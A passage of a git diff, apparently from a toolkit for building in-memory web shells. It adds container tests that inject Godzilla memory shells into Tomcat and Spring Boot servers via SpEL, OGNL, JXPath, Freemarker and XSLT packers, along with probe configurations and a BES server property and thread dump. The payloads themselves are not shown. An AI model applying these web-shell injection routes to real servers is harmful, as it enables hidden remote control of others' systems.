org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +@Slf4j +public class SpringBoot4ExpressionContainerTest { + public static final String imageName = "springboot4"; + + @Container + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk") + .withCopyFileToContainer(springBoot4JarFile, "/app/app.jar") + .withCommand("java -jar /app/app.jar") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + ); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index ab92f2c3..50fd2dde 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -61,6 +61,7 @@ static Stream casesProvider() { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java new file mode 100644 index 00000000..42ffaa57 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.integration.memshell.tomcat; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +@Slf4j +@Testcontainers +public class Tomcat8XSLTContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java index 9502c96b..2555908a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java @@ -287,6 +287,32 @@ public static ProbeTestConfigBuilder springbootUndertow(String imageName, Mounta .supportsSpringWebMvc(true); } + public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.BES) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + + public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.TongWeb) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) { return builder() .imageName(imageName) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java new file mode 100644 index 00000000..02fd68e3 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.integration.probe.springwebflux; + +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4WebFluxContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springwebflux("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4WebfluxJarFile) + .expectedJdkVersion("JDK|21.0.11|65") + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java new file mode 100644 index 00000000..9a44a40f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springboot("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4JarFile) + .expectedJdkVersion("JDK|21.0.11|65") + .targetJdkVersion(Opcodes.V21) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java index 4a66f8ce..523cd749 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java @@ -18,7 +18,7 @@ public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest { private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9") - .expectedJdkVersion("JRE|17.0.19|61") + .expectedJdkVersion("JRE|17.0.20|61") .targetJdkVersion(Opcodes.V1_8) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .privilegedMode(true) diff --git a/integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..87ab5cd6 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt @@ -0,0 +1,817 @@ +# Generated At 2026-08-25 10:42:41 +SystemProps: +java.specification.version: 17 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +bes.useNaming: true +sun.jnu.encoding: UTF-8 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.commons.commons-collections4,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket +com.bes.resource.ejb.leakDetect: false +bes.loader: bes-system +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +sun.boot.library.path: /opt/java/openjdk/lib +com.bes.hostName: 10a3b603cce2 +sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start +jdk.debug: release +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming +java.version.date: 2026-07-21 +java.home: /opt/java/openjdk +jgroups.loader: "${bes.home}/lib/jgroups/*.jar" +javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem +file.separator: / +javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem +java.vm.compressedOopsMode: 32-bit +javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +com.bes.instanceRoot: /opt/bes +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web. +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.20+8 +com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory +user.name: root +java.security.policy: /opt/bes/conf/security/server.policy +com.bes.javaRoot: /opt/java/openjdk +file.encoding: UTF-8 +java.vendor.version: Temurin-17.0.20+8 +derby.system.home: /opt/bes +java.io.tmpdir: /tmp +java.version: 17.0.20 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64 +java.vendor: Eclipse Adoptium +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.specification.maintenance.version: 1 +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +com.bes.enterprise.embedder.source: ServerListener +bcs.loader: "${bes.home}/lib/bcs/*.jar" +bes.home: /opt/bes +com.bes.enterprise.startup.ExitOnInitFailure: true +javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory +java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.14.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.2.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_5.0.3.jar +java.vm.vendor: Eclipse Adoptium +com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true +bes.base: /opt/bes +user.timezone: Etc/UTC +com.bes.instanceName: server +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +com.bes.enterprise.deployments.classpath: false +user.home: /root +user.language: en +com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider +com.bes.verboseMode: true +com.bes.enterprise.deployments.classpath.filter.systemapps: false +java.awt.headless: true +package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web. +server.loader: +com.bes.enterprise.provider.default: com.bes.enterprise +java.naming.factory.initial: com.bes.jndi.CtxFactory +java.net.preferIPv4Stack: true +path.separator: : +java.security.egd: file:/dev/./urandom +common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar" +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +com.bes.resource.leakDetect: false +bes.version: 10.0 +java.vm.name: OpenJDK 64-Bit Server VM +org.objectweb.howl./opt/bes/repository/txlog/tx_1.log.locked: true +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +com.bes.installRoot: /opt/bes +com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy +user.dir: /opt/bes +bval.in-container: true +os.arch: aarch64 +shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar" +java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager +org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true +java.vm.info: mixed mode, sharing +java.vm.version: 17.0.20+8 +javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory +java.class.version: 61.0 +com.bes.enterprise.log.outAndErrNotRedirect: false + +=========================================== + +ThreadStacks: +"KeepAliveTimer" #53 daemon [TIMED_WAITING] on java.util.TaskQueue@5c197b53 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@17.0.20/java.util.TimerThread.run(Timer.java:516) + +"Spark_2" #82 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5b9112b + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:338) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241) + at java.base@17.0.20/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.20/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.20/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.20/java.lang.reflect.Method.invoke(Method.java:569) + at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:510) + at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:641) + at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:37) + +"jmsra-WorkerThread-1" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark-Selector" #79 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.20/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.ejb.spark.tcp.transport.SelectorThread.c(SelectorThread.java:289) + at com.bes.ejb.spark.tcp.transport.SelectorThread.startEndpoint(SelectorThread.java:206) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508) + +"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@71ac2346 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:472) + at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:132) + at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:37) + at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:50) + at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:137) + at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:113) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-4" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"AppServer-utility-1" #54 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"HSQLDB Timer @24f4bc74" #76 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@48b0ec41 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source) + at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source) + at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-8" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at 